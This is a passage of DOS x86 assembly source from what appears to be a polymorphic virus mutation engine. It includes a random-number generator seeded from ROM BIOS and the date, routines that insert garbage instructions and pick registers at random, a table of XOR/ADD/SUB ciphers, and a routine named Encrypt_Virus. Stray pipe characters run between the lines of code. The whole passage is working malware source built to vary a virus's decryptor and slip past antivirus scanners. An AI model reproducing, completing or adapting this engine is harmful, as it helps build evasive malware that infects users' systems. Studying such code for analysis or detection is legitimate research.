mov ax,0ffffh ;Get word from ROM BIOS.
|
|||
|
mov ds,ax
|
|||
|
mov ax,word ptr [si]
|
|||
|
pop ds
|
|||
|
mov word ptr randseed,ax
|
|||
|
call get_rand
|
|||
|
push ax
|
|||
|
mov ah,2ah ;Get Date.
|
|||
|
int 21h ;call int21h
|
|||
|
pop ax
|
|||
|
add ax,cx
|
|||
|
xor ax,dx
|
|||
|
mov word ptr randseed,ax
|
|||
|
call get_rand
|
|||
|
pop si
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
pop ax
|
|||
|
ret
|
|||
|
|
|||
|
Get_Rand:
|
|||
|
;Gets a random number in AX.
|
|||
|
push cx
|
|||
|
push dx
|
|||
|
mov ax,word ptr randseed
|
|||
|
mov cx,ax
|
|||
|
mov dx,ax
|
|||
|
and cx,1ffh
|
|||
|
or cl,01fh
|
|||
|
propogate:
|
|||
|
add dx,ax
|
|||
|
mul dx
|
|||
|
add ax,4321h
|
|||
|
neg ax
|
|||
|
ror dx,1
|
|||
|
loop propogate
|
|||
|
mov word ptr randseed,ax
|
|||
|
|
|||
|
pop dx
|
|||
|
pop cx
|
|||
|
ret
|
|||
|
randseed dw 0
|
|||
|
|
|||
|
Make_Xchg:
|
|||
|
mov ax,di
|
|||
|
sub ax,word ptr saved_di
|
|||
|
cmp ax,10
|
|||
|
ja not_poly_start3 ;inc/dec in the first 20 bytes, flags
|
|||
|
ret
|
|||
|
not_poly_start3:
|
|||
|
|
|||
|
call get_rand
|
|||
|
call fix_register
|
|||
|
jc make_xchg
|
|||
|
push cx
|
|||
|
mov cl,3
|
|||
|
rol al,cl
|
|||
|
pop cx
|
|||
|
call fix_register
|
|||
|
jc make_xchg
|
|||
|
test ah,1
|
|||
|
jz xchg_8bit
|
|||
|
test al,7
|
|||
|
jz xchg_ax2
|
|||
|
test al,38h
|
|||
|
jz xchg_ax1
|
|||
|
xchg_8bit:
|
|||
|
and ax,13fh
|
|||
|
or ax,86c0h
|
|||
|
xchg ah,al
|
|||
|
stosw
|
|||
|
ret
|
|||
|
xchg_ax1:
|
|||
|
and al,7
|
|||
|
or al,90h
|
|||
|
stosb
|
|||
|
ret
|
|||
|
xchg_ax2:
|
|||
|
push cx
|
|||
|
mov cl,3
|
|||
|
ror al,cl
|
|||
|
pop cx
|
|||
|
jmp short xchg_ax1
|
|||
|
|
|||
|
Check_bReg:
|
|||
|
;Checks if an 8bit reg is used or not.
|
|||
|
;AL=register
|
|||
|
push ax
|
|||
|
and al,3
|
|||
|
call check_reg
|
|||
|
pop ax
|
|||
|
ret
|
|||
|
|
|||
|
Decryptor_Size:
|
|||
|
;Calculate the size of the decryptor + code
|
|||
|
;Entry: DI=everything done
|
|||
|
;Exit : CX=total decryptor length
|
|||
|
|
|||
|
mov cx,di
|
|||
|
sub cx,word ptr saved_di
|
|||
|
ret
|
|||
|
|
|||
|
Setup_Cipher:
|
|||
|
;Randomly selects a cipher register and initialises it with a value.
|
|||
|
;Puts the register into the variable 'cipher' and the value into 'xorval'
|
|||
|
|
|||
|
call rand_garbage
|
|||
|
call get_rand
|
|||
|
mov bx,ax
|
|||
|
mov word ptr xorval,ax
|
|||
|
call select_reg
|
|||
|
mov byte ptr cipher,al
|
|||
|
call setup_reg
|
|||
|
call rand_garbage
|
|||
|
ret
|
|||
|
|
|||
|
Startup:
|
|||
|
;Does the most common startup procedures. Puts some garbage, and sets
|
|||
|
;up the pointer register.
|
|||
|
|
|||
|
call rand_garbage
|
|||
|
call rand_garbage
|
|||
|
call select_pointer ;Setup pointer
|
|||
|
call setup_pointer
|
|||
|
|
|||
|
call setup_cipher
|
|||
|
ret
|
|||
|
|
|||
|
Handle_JNE:
|
|||
|
;Randomly puts either JNE or JB at ES:DI.
|
|||
|
;Must be called after the CMP instruction.
|
|||
|
push ax
|
|||
|
push si
|
|||
|
|
|||
|
;Test to make sure our pointer isnt going +ffff, if so, only use
|
|||
|
;jne, not jnb.
|
|||
|
call round_up
|
|||
|
add ax,word ptr pointer1val
|
|||
|
jnc random_jne
|
|||
|
mov al,75h
|
|||
|
jmp short unrandom_jne
|
|||
|
random_jne:
|
|||
|
|
|||
|
call get_rand
|
|||
|
and ax,1
|
|||
|
mov si,offset jne_table
|
|||
|
add si,ax
|
|||
|
mov al,byte ptr [si]
|
|||
|
unrandom_jne:
|
|||
|
stosb
|
|||
|
pop si
|
|||
|
pop ax
|
|||
|
ret
|
|||
|
|
|||
|
jne_table db 75h ;JNE/JNZ
|
|||
|
db 72h ;JB/JNAE
|
|||
|
|
|||
|
Calc_JNE:
|
|||
|
;Calculates the distance needed to JMP backwards and puts it into ES:DI.
|
|||
|
;On entry DI points to the byte after a JNE/JB instruction
|
|||
|
; and 'loopstart' contains the offset of the loop.
|
|||
|
|
|||
|
push ax
|
|||
|
mov ax,di
|
|||
|
inc ax
|
|||
|
sub ax,word ptr loopstart
|
|||
|
neg al
|
|||
|
stosb
|
|||
|
call rand_garbage
|
|||
|
pop ax
|
|||
|
ret
|
|||
|
|
|||
|
Increase_Pointer:
|
|||
|
;Increases the register specified in 'pointer' by two.
|
|||
|
;On exit AL=pointer register.
|
|||
|
|
|||
|
call rand_garbage
|
|||
|
xor ax,ax
|
|||
|
mov al,byte ptr pointer
|
|||
|
call dec_inc_reg
|
|||
|
call rand_garbage
|
|||
|
call dec_inc_reg
|
|||
|
call rand_garbage
|
|||
|
ret
|
|||
|
|
|||
|
Encrypt_Type:
|
|||
|
;Selects the type of encryption and sets everything up.
|
|||
|
call rand_garbage
|
|||
|
call seg_override
|
|||
|
|
|||
|
call rand3
|
|||
|
mov al,byte ptr [si+1]
|
|||
|
mov byte ptr encbyte,al
|
|||
|
|
|||
|
mov al,byte ptr [si] ;The instruction from 'enc_table'
|
|||
|
stosb
|
|||
|
|
|||
|
mov al,byte ptr cipher
|
|||
|
call fix_pointer
|
|||
|
mov word ptr displace,di
|
|||
|
|
|||
|
mov ax,bp
|
|||
|
sub ax,word ptr pointval
|
|||
|
stosw
|
|||
|
|
|||
|
call rand_garbage
|
|||
|
|
|||
|
call rand3
|
|||
|
mov al,byte ptr [si+2]
|
|||
|
or al,0c3h
|
|||
|
mov byte ptr encb2,al
|
|||
|
|
|||
|
cmp byte ptr cipher,0
|
|||
|
jne fix_16imm
|
|||
|
mov al,byte ptr [si+2]
|
|||
|
or al,5
|
|||
|
stosb
|
|||
|
jmp short set_imm
|
|||
|
|
|||
|
fix_16imm:
|
|||
|
mov al,81h
|
|||
|
stosb
|
|||
|
mov al,byte ptr [si+2]
|
|||
|
or al,0c0h
|
|||
|
or al,byte ptr cipher
|
|||
|
stosb
|
|||
|
|
|||
|
set_imm:
|
|||
|
call get_rand
|
|||
|
stosw
|
|||
|
|
|||
|
mov word ptr encval2,ax
|
|||
|
|
|||
|
call increase_pointer
|
|||
|
|
|||
|
ret
|
|||
|
|
|||
|
enc_table db 31h ;XOR ;Direct word operation
|
|||
|
db 33h ;XOR reg,reg ;Undo..
|
|||
|
db 30h
|
|||
|
|
|||
|
db 01h ;ADD
|
|||
|
db 2bh ;SUB reg,reg
|
|||
|
db 0 ;ADD
|
|||
|
|
|||
|
db 29h ;SUB
|
|||
|
db 03h ;ADD reg,reg
|
|||
|
db 28h
|
|||
|
|
|||
|
Rand3:
|
|||
|
;Gets a number in ax, either 0,4,8, and indexes SI that distance into
|
|||
|
;enc_table.
|
|||
|
encrypt_rand:
|
|||
|
call get_rand
|
|||
|
mov cx,3
|
|||
|
xor dx,dx
|
|||
|
div cx
|
|||
|
mov ax,dx
|
|||
|
xor dx,dx
|
|||
|
mul cx
|
|||
|
mov si,offset enc_table
|
|||
|
add si,ax
|
|||
|
ret
|
|||
|
|
|||
|
Encrypt_Virus:
|
|||
|
mov si,word ptr saved_si
|
|||
|
mov cx,word ptr saved_cx
|
|||
|
inc cx
|
|||
|
shr cx,1
|
|||
|
mov bx,word ptr xorval
|
|||
|
enc_loop:
|
|||
|
lodsw
|
|||
|
|
|||
|
;op ax,bx
|
|||
|
encbyte db 0 ;op
|
|||
|
db 0c3h
|
|||
|
|
|||
|
db 81h
|
|||
|
encb2 db 0
|
|||
|
encval2 dw 0
|
|||
|
|
|||
|
stosw
|
|||
|
loop enc_loop
|
|||
|
ret
|
|||
|
|